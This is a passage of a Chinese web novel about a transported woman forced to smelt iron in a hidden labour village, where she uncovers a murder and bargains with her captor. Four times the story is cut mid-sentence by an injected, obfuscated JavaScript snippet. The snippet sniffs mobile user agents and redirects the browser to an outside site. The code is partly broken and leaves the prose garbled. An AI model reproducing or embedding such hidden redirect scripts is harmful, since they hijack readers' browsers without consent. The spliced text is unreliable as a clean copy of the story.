杨千也看出他有心事，只轻叹一声，随即去拉风箱，替下小白，苏冶让小白先走，晚上再来河边接替杨千。 几人忙活到申时，几个妇人来河边送饭，王喜今日值的是夜班，并没有同她们一道。 饭送到来人聪处时，他一反往常饿了八百年的狼吞虎咽的常态，破天荒对杨千说“我有些没胃口，杨大哥你替我吃了吧。” 杨千皱眉：“这还得忙活不久，你又不是铁打的骨头，怎么能不吃饭。” 不想来人聪仍是摇了摇头。 一旁苏冶见状道：“不想吃便罢，一顿而已，干系不大。” 杨千见她这样说，叹了口气，只得作罢。 苏冶复又对来人聪道：“时候也差不多了，你先回去歇着，明儿早来换小白。” 来人聪点头不语，收拾妥当后便独自离去。 他离开后，苏冶对杨千道： “杨大哥，麻烦您先替我看着些，我得回去一趟。” “好，放心去吧，这些你都嘱咐过，我看得住。” 苏冶点头道谢，向赵玉芬派来的监工知会一声后，便转身离开。 —— 夜色渐至，路边草丛里传来几声虫鸣。 到院子时，苏冶想着王喜此时应已歇下，便没有回屋，恰巧看见东屋灯亮着，上前轻叩了下门。 没几下，门自内拉开。 “你怎么来了？” 来人聪神色瞧着有几分颓唐，烛光在他脸上投下跳跃的阴影。 苏冶没说话，只上前一步，迈进屋内后，转身拉上门闩。 “怎么了这是？”来人聪又问道。 苏冶看向来他，随即掏出丝绢，递了过去。 “小翠留下的。” 来人聪伸手接过，看见带血的字迹后，脸色瞬间变了。 俩人都不曾说话，屋内烛台的灯芯似是要快要燃尽，火苗不时窜动，映得一室影影绰绰。 小翠写的简洁，丝绢上字不多，来人聪盯着看了良久才放下。 末了，苏冶听得他一声长叹。 “是我误了她。” 苏冶道：“你们？” 来人聪也无意再隐瞒，如实道： “我本不是豫州人，因北境战乱才流落到了来阳县，初来时人生地不熟，寻不着生计，落不下户。后来，我仗着自己嘴皮子几分利索，便摆了个金点摊子，替人看看象使使簧，勉强糊口，不久后便遇上了小翠。她家世可怜，从小没娘，亲爹是个赌鬼还患了肺痨，死后小翠没钱安葬，便到城南街上卖身葬父，恰巧被我遇上，心一软，便将身上银子都与了她去。” 听到此处，苏冶笑道：“你这心是怎么软的，莫是瞧人家模样俊？”、 来人聪难得没嘴硬，反而不好意思道：“小翠模样确实俊，但我却是看她可怜，并非是另有所图。” 屋子外面似是起了风，吹得窗纸漱漱作响。 苏冶收回视线，继续道：“好啊，那后来呢？” “后来我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260732|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久不曾见过她，不想哪日出摊时，竟被她找见，给我打了张券书，各执一半，说是此刻手头紧，日后定将我当日与她的银子还回来，自那以后，她常送些吃食过来，我是个怕无聊的，便也同我过来说说话，如此下来日子久了，我俩难免有些情分。” “至于后来……” 苏冶道：“如你当初所说那般？” 来人聪点头，语气沾染着几分酸涩，“被抬进孙府前一日，她来找了我，塞给了我一包银子，说是还我当日与她那笔葬父之资。我打开一看，里面银子比我当日给她那些的五倍还要多些。” 苏冶静默听完，对于他口中两人的“情”，她并无太多感触。 但对小翠，苏冶心里却生了些难言的情绪。 又或者是，替她不甘？ 这样心性的女子，若是在她的时代，必不会被一个“命”字困在那副躯壳里。 但此刻，这些念头只能压在她心里。 末了，苏冶轻声道： “她是有义之人。” —— 苏冶回到河边时，见小白一人守在炉旁，火光将他的侧脸映得明暗不定。 “杨大哥呢，不是让你晚些时候再来换他吗？” “我睡不着，早些过来，他连日劳累，多歇会儿吧。” 苏冶点了点头。 “你也莫要强撑着，累了便同我说。” 小白颔首，顺过一旁小木凳坐在炉前。 此刻不用鼓风，苏冶便坐在了他身旁，有一搭没一搭同他聊了起来。 “你还记着白日里来河边那位姑娘吗？” 小白闻言轻“嗯”了一声。 苏冶未提丝绢之事，只拣他知道的说。 “你说，回了县里，她若是替曹经解了同僚的“误会”，曹经日后能否与她桥归桥、路归路 ？” 默了半晌后，小白摇了摇头。 不知为何，苏冶看他摇头，心里隐隐发沉，但还是忍不住问道： “为什么？” 小白冷静开口：“对某些人来说，帮人需要理由，害人却不需要，况且……” 恰在此时，小白转头看向她，目光沉静如深潭。 “那人于他们有妨。”他继续道。 听到他这样说，即便早已料到，苏冶还是心下一凉。 默了片刻后，她低声道： “县里不似此处，人多眼杂，曹经若想做些什么，未必得手。” 并非她天真，而是此时，她只愿这么想。 忽的，她抬眼看向小白，半分玩笑半分认真道： “你呢，若有人妨你，你会如何？” 小白一怔，似未料到她有此一问。 片刻后，他开口道： “微末之人，何必谈这些。” 苏冶心下了然，不再多问。 小白说得对，他们、哑沟众人、还有这世上千万人……都是他所说的微末之人，所图的不过是糊一口饭吃，在这乱世中活得稍体面些而已。 他们连自己的命都没法子全然握在手里，遑论左右他人。 良心和利益之间的选择，尚轮不到他们来做。 22.坟堆 小翠离开后的头几日，来人聪显得有些颓唐，兴许是每日高强度的劳作消磨了精神，还是心中藏着事心许是心里有事，他的话明显少了些。 小翠在那封血书里说，不久便会报官。 但那炉子火燃起将近三十日，哑沟依然是风平浪静。 一直到了炉子起火第二十九日的夜里，小白来找了苏冶。 他什么都没有说，只让苏冶跟他走。 彼时夜色浓重，掩去了他大半形容，苏冶虽瞧不真切，却能感觉到他周身气氛有些低沉。 她没有多问，只默默跟上，心里明白，定是出了什么要紧的事。 哑沟的一切运行机制几乎都是昼夜轮值的模式，曹经派来看守他们的狗腿也是。不止离开村口的路，便是从院里出去，周边也零零散散有些站岗的。 小白和苏冶没走正道。极有默契地选择了翻墙。 “来。” 苏冶利落地踩上山墙缝隙，几步攀上了屋顶，随即转身向小白伸出手。 不知小白爬墙的能耐如何，总之他抓住了苏冶的手，一跃而上，动作轻捷，几乎没发出任何声响。 刚刚握他手的时候，苏冶在他手掌根部、关节和指腹出都触到了很厚的茧。 不止小白，她自己也是，连日拉风箱，一月下来，她的肱二头肌膨胀了不少。 这院里其他人亦是，都在变。 刚到这里时，她见到一同被拐了的其他人，周身都是一副半死不活的丧气，唯独她和来人聪这几个新来的精神头瞧着不错。 但渐渐地，他觉察到了他们的变化。 杨大哥不似初来时对所有人都面面周到，淡了些热乎的情绪关照，来人聪喋喋不休的闲话也慢慢演化成了死气沉沉的倦怠。 还有王喜，她和苏冶的作息都是昼夜颠倒，俩人日复一日都变成了熊猫，眼底一片浓重的青黑。 至于小白，苏冶借着月色余光朝他看去，他似乎也变了，似乎又没变。 在她的印象里，从一开始……小白就不是一个生机高昂的人，他周身弥漫着的气息是冷的，又似是丧的，近乎枯槁的，似乎与这世上的暖意无太大干系。 这般也好，她想，少有大喜之人，往往也更能遭得住大悲。 “跟我走就行。”小白低声道。 “好。” 从院里出去后，小白显然是早已摸清了路线，从打谷场和仓囷的方向兜了一大圈，躲开了巡视的人后，到了南边山脚下一片荒地。 这里约有半亩光景，草稀稀落落，都是些枯黄短茎，中间还夹着些茎秆硬挺野蒿，顶端结着干瘪。 偶尔有山风掠过，卷起细碎的沙土，在半空打个旋儿，又落下。 “这地方我知道。”苏冶道。 当初来人聪想要逃跑，知道村里出去的路口都有人，见这处荒，便想要从这处走。 后来几人闲聊时，来人聪说起了那次的出逃经历，告诉他们，南边这山他已经探过了，若是想跑，千万别走这处。 这山陡，连条像样的路也没有，还没苟到山腰，便会有人将你“请”回去。 她正想着，目光忽然被西侧歪着的一株老槐引了过去，并非是这老槐树有多稀奇，她院儿里就栽着一棵，她天天看。 她之所以注意到这棵树，是因为，借着月光，她瞧见，那棵老槐树下，伏着一处微微隆起的土堆。 下意识地，她转头看向小白，他也正一动不动盯着那处，觉察到苏冶的目光时，他没有移开视线，也没有说话，月光落在他一半脸上，透出阵阵惨白。 蓦地，苏冶心里窜上一股前所未有的慌乱，她攥紧了手心，转过身，朝那棵老槐树走去。 树的树冠早已秃了，只剩两三根枯枝斜指向天，枝梢还挂着个残破的鸦巢，随风轻晃。 她走到了那处土堆的面前，蹲下身，开始刨地上的土。 土是新翻的，湿润松软，还带着些腥气。 不知过了多久，她的指尖触到了一角布，动作忽然僵住。 她摇咬了咬牙，捏紧那片东西，用力将它扯了下来。 借着月光，她看清了手里的东西，那是一片淡青色的素麻布料。 一个月前，她曾见过这颜色的料子，她记得很清楚。 她尚且能想到这片衣料主人的声音。 “苏冶。” 身后突然传来很轻的一声。 她回头看去，是小白。 忽然，她觉着胃里一阵翻涌，有什么东西从深处猛地顶上来…… 她猛地偏过头，捂住嘴，额头微微渗出冷汗，眼眶被生理性的泪水糊住，却是死咬着牙。 这是她来到这个世界，第二次见到死亡，更准确一点，是杀戮。 第一次，是在河边，铁水浇在那些人身上，他们的命抵不上曹经口袋里省下来几两银子。 这一次，是小翠，她的消失甚至发出一点声响。 没有刀光剑影，也没有厮杀，他们死的都那么沉闷，又那么轻贱，就像曹经对她说的，不过是一条贱命。 夜风裹着腐土气灌进口鼻，她佝偻着脊背，一阵阵干呕。 良久，她缓过了气，从地上爬起来， “你是怎么发现的？” “白日下工时，路过仓囷，远远瞧见赵二几人抬着张草席，便跟了过来。”小白的声音平静无波。 苏冶点了点头，复又转身蹲下，跪在土堆前，用手把刨开的土一点点推回去。 她先抹平边缘的碎土，再把中间的坑填满，土有些湿，拍打时会留下手印，她就用掌心慢慢压平，散落的草叶也照原来的样子摆好。 最后，她检查了一遍地面，确认看不出太大翻动过的痕迹，才站起身退后两步，对小白说： “咱们回去吧。” 小白朝地面看去。 月光下，土堆和周围的地面连成一片，就像从来没人动过。 他点头。 “好。” —— 如苏冶先前对曹经和钟应所说，炉子经改制后，起了整整一月的火。 第三十一天的早上，炉火熄灭，一刻也没有多燃。 不似以往的块炼铁，苏冶用了二步操作法后，出炉的不仅有熟铁，还有生铁。 熟铁性软，延展性强，利于锻打。 生铁性脆，不宜展接锻接，适于铸范。 苏冶不知晓这些铁的销路，但她知道，曹经此番赚的银子，至少能比上月翻一倍。 往日这炉子只烧制块炼铁，一炉一月约莫能出三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260733|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百公斤。 但这月，苏冶改制的这一炉，仅熟铁，便有七百五十公斤，遑论生铁。 于是，在那天夜里，苏冶告诉钟应，她想要见曹经。 这一次，她没有等太久。 —— “钟老头儿说得不错，你果真有能耐。” 曹经双脚交叠搭在桌面上，看着心情不错，却还是刻意压着声调。 苏冶面色平静，并未因这句“夸奖而起丝毫波澜。 屋内昏黄的灯光下，曹经审视着站在他面前的苏冶。 不知为何，此刻眼前这个人，似与他当初在曹家村见到的样子不同了。 那时候，他能确定，这个人在自己的掌控之中，是被他牵着鼻子走。 但如今，他隐隐觉得，眼前这个黄毛丫头，周身气息变得愈发沉静，他莫名有些看不透。 但他并未放在心上，再怎么样，他在这世道泥潭里滚了四十余载，难不成压不住个十八九的黄毛丫头。 苏冶如往常一样，开门见山切入正题。 “我要分成。” 话音落下后，屋内陷入短暂的寂静，正如上次苏冶在他面前提起工钱。 良久，曹经双手交叠抱在胸前，冷声道： “又想挨棒子。” 苏冶听他这样说，心里有了底，嘴角勾起一丝微不可察的弧度。 “这次你关我也没用。” 曹经冷笑道：“没用？” 苏冶：“你放才说，我有能耐，但你不知道，我的能耐远不止这些，这些不过九牛一毛，”苏冶迎着他的目光，“若我有心，帮你谋划捐个县丞的银子不是难事。” 虽这样说，苏冶知道，曹经若是有心，以他的能耐，绝不会只是个户房的小吏。 他如今深扎在基层，必然有他的理由。 她不过是把这话当做引子，试他深浅。 果不其然，曹经嗤笑道：“你确是自作聪明，莫说个县丞，爷即便想当他个县令，靠你个黄毛丫头？” 苏冶不管他言语间揶揄，只继续道： “往后日子，无论如何，我都会替你看炉火，但我的能耐到底出了多少，你不知道，即便我心里倦怠，你也无可奈何，便是将我打个半死，我在嘴上诓骗你几句，你又能奈我何，你定然不能将我打废或是打残，因为于你而言，我如今已然有些用处，所以……” 苏冶近前一步，直视曹经。 “我要分成，虽是为了我，却是让你放心。” “那炉里的铁越多，我手上的银子越多，出力也自然更多。” 说着，苏冶想到，这“提成”的思路在二十一世纪喜闻乐见，但在这以压迫剥削为主的哑沟，倒成了稀罕。 “况且，我是受了你诓骗才到的此处，无论替你谋来多少利益，你都难将我当做自己人。但是如今，若我手上沾了你们的银子，那便是同你们一道黑，来日哪怕这地方陷了，我也要和你们一起遭殃。” 苏冶说这些话的时候，曹经始终盯着她。 如今她停下了，曹经的视线仍旧没有移开。 “你想怎样？”曹经终是开了口。 此刻，苏冶知道自己的目的达到了，一字一句道： “我要成为你们的一份子。” 23.入局 苏冶话音落下后，曹经默然不语。 暮色透过窗棂漫进屋内，空气中弥漫着一股近乎凝滞的压抑。 苏冶不以为意，只将目光放得更为沉静，继续开口，声音清晰而平稳： “钟师傅年事已高，一人托着这些炉子不是长久之计，偏这看火的伙计好找，掌火的师傅难寻，但对你来说，”苏冶稍作停顿，望定曹经，“怕也不想更多人掺和进来，你需要的是自己人，完完全全信得过的人，如今我已入了你们的局，沾上了不少干系，便是最好的人选。” 苏冶确是一语道出了曹经眼前的难处和顾虑。 没错，当初河边三座炉子皆由钟应一人照看，并非曹经找不到技艺娴熟的人，只是难寻到知根知底的人。 就大多被骗到这里的人来说，干的不过是些体力上的活计，他使蛮力驱使便可，那些个人即便心里不愿，也无可奈何。 但这掌火的师傅不同，如苏冶前时所说，若他们有心，多的是能耐在那炉子里耍手段。故而这样的人，至少在利益层面，得真心实意同他们站在一处。 苏冶不动声色端详着曹经，心知他大半已被自己说动，此刻沉默，不过是对她这个“外来人”还存着不少的顾虑。 想着，苏冶道： “我知晓自己来这里时日少，教你全然信我不是易事，不如给我机会，让我做给你看。” 曹经闻言道：“你想要什么机会？” 苏冶道：“如今改制过的那一炉，产量翻了一倍不止，只是旧炉难再维系，需更换新炉，既如此，便接连铸造两炉，将先前折损的那座一起补了。” “换新炉？”曹经声音一沉，却并没多少意外，“你先前并未提过。” 苏冶点头，听他的语气便知，钟应已将这事情告诉他，这她并不意外。 她告诉钟应的时候，就没想过让他替自己瞒着，他是曹经的人，即便面上与她再热络，苏冶也有自知之明，只是她算准了钟应会在起炉之后告诉曹经而已。 她回曹经道：“炉火一月不熄，以您那炉子的质地，挨不住的，如今自是破败，当时我未炼出铁来，你怎会信我，如今七百多斤铁叫到你手上，我才有底气想你开这个口。” 曹经冷声：“你这是先斩后奏，让我赔了一座炉子。” 苏冶：“不必同我说这些话，那炉子里出的铁有多少，购置新炉的银子需要多少，您心里的帐是清楚的，若是想让我知好歹，可换些别的法子，我先前也说过，想做你们的人，既如此，何必拿腔打压我，不如咱以诚相见。” 曹经闻言，忽的发出一阵嗤笑，笑声里尽是讥讽。 “以诚相见？” 苏冶并没被他的轻蔑激怒，没有笑，也没有生气，只道： “初到此处时，我心里自然怨愤，但这些时日下来，有些事情我也琢磨明白了，我一个女子，落在如今这世道，文不能科举，武不能征战，但若教我苟在每日贫寒潦倒、食不果腹的日子底下，我心有不甘。” 她抬起眼，目光灼灼。 “但这里不同，我虽是被诓来此处，却有了让我逞点能耐的地方，在这里，只要我有本事，你便会用我，不似外面，净是礼教、门户之限，只要能让我赚着银子，我自然愿意替你多出些力。” 曹经始终看着苏冶，似是想要看出些什么破绽。 但苏冶始终是滴水不漏，每句话似都是真心。 他又想，苏冶没有与他作谎的动机，同他作对有什么好处，即便是从此处逃出去，她也不过是个耕田务农连税前都担不起的寡妇。 这天下人的的底色都是一般——图利，若是没有好处，便没了动机。 于是，他松了口风： “好，你想要机会，我给你。” 苏冶眸色乍明，看向曹经。 —— 暮色愈沉，从曹经处离开后，苏冶自沿小径往回走。 小道旁的荒草被风吹得簌簌作响，她莫名感到几分凉意，将身上短褂裹得更紧了些。 忽的，一阵嘎吱作响的车轮声传来，她循声看去，赵二正架着一批黑马，黑马拖着板车朝她的方向走。 等他近些，苏冶瞧见了板车上的东西——都是整整齐齐码着的铁块，上面覆着一层麻布，用草绳捆在车板上，草绳扎得潦草，麻布裹得不严实，故而她能瞧见那是什么东西。 “这么晚了，去何处？” 苏冶出声道，视线却落在板车的铁块上。 “赶你的路，管那么宽干甚。” 赵二没好气，从她身边经过时，还扬了下马鞭，一阵嘶鸣传来，蹄声嘚嘚加速远去。 苏冶站在原地，望着那一人一车消失在暮色深处，方才所见在脑子里挥之不去。 她瞧见的那些铁块，有两种。 一种是这月她掌着火炼出来的，质地均匀，光泽沉润，她自然熟悉。 还有一种，通体暗哑无华，色泽不均。 正如不同的厨子做出来的饭有自个儿的风味，不同的铁匠锻出的铁器有自己的特色，在外行人看来，不同的掌火师傅炼出的铁即便大差不差，对于苏冶这种行家来说，这些东西都是有自个儿独一份的品相。 故而刚刚，她只看一眼，便瞧出了那铁的来历，她曾见过的—— 朱记铁器铺子，朱长业，朱老板。 ———— 晚间回屋时，难得今日王喜轮值和她撞上了同一个作息点，还没有睡。 “明儿早去？”苏冶问道。 王喜点头，面上有些倦色，“也总算是轮着夜里睡觉的时候了。” 苏冶：“今日你早些歇息，这屋子我打扫，我明日去得晚些。” 她虽这样说，王喜手上倒也没听，已将抹布打湿。 “说的好似你能多睡些时候一般。”说着，她上前将铺盖拉开。 “早些休息吧，你不似我，日日熏在那炉子前面，这般下去，怕你身子遭不住。” 苏冶上前拿起扫帚：“如今不早就习惯了，往后日子还长呢，总得遭得住。” 说道此处，王喜叹了口气：“是啊，往后日子还长，就是这样，才得想些法子养护些着自个儿，若是病了到了，也没人关照咱。” 苏冶抬头朝她笑了笑：“操心什么，若是你病了倒了，自有我关照着。” 王喜笑道：“行，往后我便指望着你。” 一室昏黄里，苏冶看王喜佝着腰来回忙活，又想到她刚才的话，心里莫名起了几分情绪。 “阿喜。” “怎的了？”王喜闻声应道。 见苏冶一时未有下文，她将手里抹布搁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266174|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木桌上，走向苏冶。 “怎么了这是？” 苏冶见她面上尽是诚切，开口道： “往后日子不长的。” 王喜没听明白，怔怔反问： “甚意思?” 苏冶却倏忽一笑，神色转而如常，“没什么，是有些事情想同你打听？” 王喜瞧出她的欲言又止，想来有些话不好说，便也没有追问。 “什么事情，说与我听听。” 苏冶道：“当初在曹家村，我将些铁锹与你，找你帮我寻门路卖出去，后来，你帮我牵了县里朱记铁器铺子朱老板的线，我也曾去县里瞧过，他那处物件品相虽算不上一等一，却也是个正经铺子老实经营，除此之外我所知不多，如今倒是想问问你，当时怎的就找上了朱老板。” 王喜如实道：“是这般，那朱老板是村里林家大娘的表姑父，我同林大娘有些交情，她在县里认识人，便帮我找了这处。” 苏冶：“林大娘？” 王喜点头：“我本也不是曹家村的人，但是跟着当家的搬来此地，林大娘是个热乎人，同村里关系都打得好，对我这个外来的，也不曾冷落过，逢年过节常给我送东西，只是……” 苏冶见她语速渐满，面露犹豫，追问道：“只是如何？” 王喜叹了口气，终是说道：“当初找曹经销户的事情，便是这林大娘替我牵的线，说她有个表外甥，也是上了战场折了人，眼看着到交秋粮的时候，人头还算在册子上，县里那些人拖着扯皮，一个个下不来文书，便是找了曹经将此事料理，林大娘对我照顾多年，我自是信她，不想到后来出了那事，我如今也不知道……” 王喜语气有些低沉，苏冶明白，有些事情，她不愿深思。 与人相交，一两日还好，但这世上人喜讲个“日久见人心”，若有人几年如一日待你好，谁能不交与些信任和真心出去。 林大娘替她与曹经搭了线，她如今流落至此，不能不想到林大娘与曹经背后可有些不见光的东西，但林大娘待她的好都是真的，故而她不愿多想这些事情。 “都过去了，是是非非、真真假假便不再要紧，咱如今只须念着将眼下的日子过好便罢。”苏冶道。 王喜点头，苏冶说得对，既已有了如今，何必疑心纠缠着那些过去不放，眼下才是最要紧的。 苏冶见她面上沮意少了些，随即起身，走到屋角，拎起地上乘脏水的木桶。 “你早些睡吧，我将这水倒了便也歇下。” 王喜点头，叮嘱道：“外边儿暗，仔细着些走。” 苏冶应声出门，一面走，一面回想王喜方才的话。 如此看来，林大娘对曹经的事情知晓多少、是受害者还是帮凶，这些都不重要，重要的是，曹经和朱长业有她这个同识的中间人，极有可能是有些瓜葛的，况且王喜说过，林大娘是个会同人打交道的，人脉广，哪怕不知晓曹经的勾当，替他和朱长业搭个桥，充当中人角色，也未尝没有可能。 这样的话，大抵可以确定那车板上的铁块是朱长业那处的。 这就有些意思了，哑沟本就是个出铁的地方，如今她炼出的铁无疑比朱老板那些品相好，曹经为何又要从朱老板处购置熟铁。 他到底在做什么生意，怎样做，这些她得一一摸清楚。 24.米瓮 第一炉出铁破败不久后，仅剩下的第二炉也在苏冶的指导下加了浇注，起火的那日，苏冶嘱托钟应照看，并将自己知晓的掌火切要一并告诉了他。 曹经那边催得紧，她得快些去添置新炉，不然村里三十来人围着一个炉子转，歇息时间多了，曹经心里怎能过意得去。 此番出行，陪同她的只赵二一人。 此次购炉不似之前采买泥料，这些东西到县里买方便些，运输人工算来都能省些，只这炼铁的高炉，打造讲究，半分马虎不得，钟应也知晓其中利害，故在几番周折商量下，赵玉芬同意了苏冶定的离来阳县约莫十五里的春花镇购置的主意。 春花镇仍旧属来阳县地界，但需出城，出度牒是曹经给他俩办下来的，这事他最擅长。 拿到手后，苏冶瞅了眼，她那文书上的姓名籍贯都是同她八杆打不到一处的，文书上附着“赵氏”，非本地人，外县来的商旅，想必同身旁赵二凑了个夫妇。 想到此处，苏冶心下生出几分好奇，问赵二：“你如今日日待在哑沟，身份是个什么来头？” 苏冶看到这度牒文书时，想着曹经八成借了个由头，将自己当初在曹家村落的户抹了，如今他们这些人，不仅是黑工，还是黑户。 “我自是个有身份的？”赵二语气不善道。 苏冶听他这话落得笼统，想着他说的这“身份”八成也不太明朗。 “有身份是个什么身份，出得去来阳县吗？” 赵二斜睨她道：“我出不出得去另说，你必是出不去。” 苏冶笑笑，没继续说下去。 赵二这人气力大心眼儿却小，是个易受激的性子，甭管他人说什么，他听着都是在揶揄自个儿，稍有不慎便恼羞成怒，性急了，便容易将自己的底细卖个干净。 这样的人，不适合做事情，给曹经做狗，却是刚好。 俩人说着，马车便已驶到了城门口，苏冶没有下去，只赵二去同城门的阍吏交涉，片刻后，敲了下车，苏冶掀帘探了个头，那人探头一打量，便挥手放行。 马车驶出城门几十步远，苏冶听见背后传来些碰撞声，回头掀起布帘。 只见城墙外边搭着个三架杉的木梯，五六个穿灰短打的役夫正用铁钎撬一块钉在墙面的厚木板，木板长瞧着有六尺，面上有些深褐色的脏污，苏冶眯眼瞧了瞧，边上还有些干涸的血迹。 梯子下面还站着两个持腰刀的衙役，俩人脚边堆着几根带铁钉的粗木条。 “怎么个事儿？”苏冶放下帘子，朝赵二问道。 依着这些日子曹经赵玉芬对苏冶的态度，赵二对她的戒心多少不似以前了，便道： “米贼闹的事情。” 苏冶：“米贼？” 赵二：“如今南境民间有个教派，说是教派也不大准，就是一群神汉神婆拉扯起来的团伙，进去不少都是吃不饱饭快要饿死的老弱病残，进了里面，披件袍子，脸上抹两道彩，便当自己成了神仙四处念经，不晓得是里面起来了还是外边儿发力了，总之今年米瓮不似从前，在南境诸地闹出了不少人命官司，这不，” 说着，赵二朝身后示意。 “那人是什么来头？”苏冶问道。 “是周边乡上的土财主，出了名的恶霸，手底下盘剥饿死不少人，这也不是甚稀奇事，只怪他气运不好，遇着手底下有人投靠了米瓮，反过来抄了他一家，妻儿倒是躲起来保了条命去县衙告官，那地主本人却被挂上了城墙，晾成了肉干。” 苏冶：“县里不管这事儿？” 赵二嗤笑一声：“米贼又不是来阳县的土特产，关起门自己家打狗就行，那些人最初是郢州起的家，一路烧到了豫州，以往那些乡里吃不饱饭造反的人，甭管成没成，谁没拿过几个县令祭旗，如今县衙那群吃干饭的夜里睡觉屁股都夹得紧，生怕被人背后来上一遭，赶着叫爷还来不及，还敢上赶着剿人家。” 苏冶笑道：“你这不连你主家一道骂了。” 赵二翻白眼道：“我主家是个是个聪明人，不掺和这些腌臜事。” 赵二虽不是多聪明个人，却说对了曹经的聪明。 这些日子她想了不少，愈发觉得曹经能耐不简单，一个户房的小文书，虽说勾当腌臜见不了人，却有本事落得这些银子，笼来赵二这好些人替自己做事，同时还与县衙诸人周旋，不将此事闹大泄出去，却是有不少门道在里面。 想起她那日同曹经的对话，苏冶愈发确定，曹经的能耐并非是只能当个小吏，而是在如今这世道，他看得有几分透彻，故而不想。 乱世里不同治世，已经成熟的官僚体系里，越往上爬，抓住的反而越少，官员调动迁移频繁，难向下扎根，真糟了事，空着底子，这批人反倒是最先遭殃的。 强龙难压地头蛇，自古造反的人常拿县令祭旗，却有不少带着酒食拜见当地的乡老里正，因为这些人不蠢，知道一个地方真正的根是牵在哪些人手里。 曹经如今便是，想的不是往上爬，而是向下扎根。 想着，苏冶又问道：“县里管不了，州郡也是？” 赵二皱眉道：“说呢，汝南郡萧家的根基，总不至于被这些神棍牵着鼻子，如今倒也是半点动静没有，倒也不怕这些人闹得他豫州鸡犬不宁” 苏冶：“许是没到他们出面的时候。” 说着，她看向赵二，“见你日日待在哑沟里，怎的这些事情该知道该知道的一样不落。” 赵二语气带了几分得意：“爷不似你们这些宅子里的束脚娘们儿，这天下大事哪件不晓。” 苏冶：“……” “你倒是没裹脚，只因你家布少，裹了你那脑子便没余下。” “你……” 赵二伸手指着苏冶脑袋，正要发作，苏冶出声打断了他。 “到地方了。” —— 下了马车，赵二依着赵玉芬说的，与了车夫银子，教他在原地等着。 春花镇虽带着“镇”字，瞧着却像个专业化作业的村子。 马车停在镇子口，车辙压过的地方泥浆里混着铁渣，硌得赵二鞋底沙沙响，引得他抱怨道：“这什么鬼路，白瞎了爷一双好靴。” 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278412|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冶：“你难不成没来过，整日待沟里，产铁的地方哪个不是这般。” 赵二：“自然是来过，先前爷照样骂。” 苏冶：“……” 俩人沿着中间不算宽敞的大道走，两边是些低矮的瓦房，门脸上挂着木牌，上面糊着些早就看不清楚的黑字，风吹日晒得发白，起不到一点指示作用。 路过时，几个光膀子的汉子蹲在屋檐下抽烟，脖子上搭着汗巾，胳膊上青筋凸起，沾着黑灰。 苏冶在他们的注视下停在了对面的铺子门口。 赵二瞧着眼前这家，店面门脸不大，拼接的木板门，门额上连块招牌都没。 “怎的看上这家，瞧着不像样子。” 苏冶：“打铁的行当越老越吃香，一圈下来就这家最破，你先等着，我进去问问。” 赵二觉着她“破即是好”的说辞也是有几分道理，说道： “干甚叫我等着？” 苏冶：“你膀大腰圆一副凶相，人老板见了当你是干嘛的，要是心里有顾忌，指不定这生意做不成，我先进去交涉几句，将实际话套出来，到时候即便被你吓着，这生意也不得不做。” 赵二自是不愿承认自己瞧起来吓人，“你净胡扯……” “人娘子不带你便罢了。”赵二闻声望去，只见身后蹲着那几个汉子正朝着他打口哨。 几人必定是听着了俩人刚刚对话，笑道： “难不成怕你家小娘子就这会儿同那老板有些什么，里面那老头也五十的人了，你得是多看不上自个儿。”说着，那几人大笑起来。 赵二见状来了气，欲要上前理论几句，被苏冶一把拉住。 “莫要生事，别忘了咱是来干嘛的。”苏冶低声道。 这几人说话虽不好听，偏偏赵二受不了激的性子，冥冥之中却也是帮了她一把。 “你也瞧见了，此处人多眼杂，你便在此处看着些，我同里面说好几句便出来。” 想着赵玉芬的叮嘱，赵二也只得咽下气，同苏冶道：“你快些。” 苏冶点头，松开他的胳膊进了铺子。 角落里老板听见动静，回头看来，面上浮上几分意外，正要开口，苏冶却伸出食指示意他噤声。 苏冶朝吴江走去，对方左手正拿着钳子夹着一块烧红的铁块，右手还握着一把大铁锤，铺子的另一角摆着一张木桌，桌上放着一些账本和图纸。 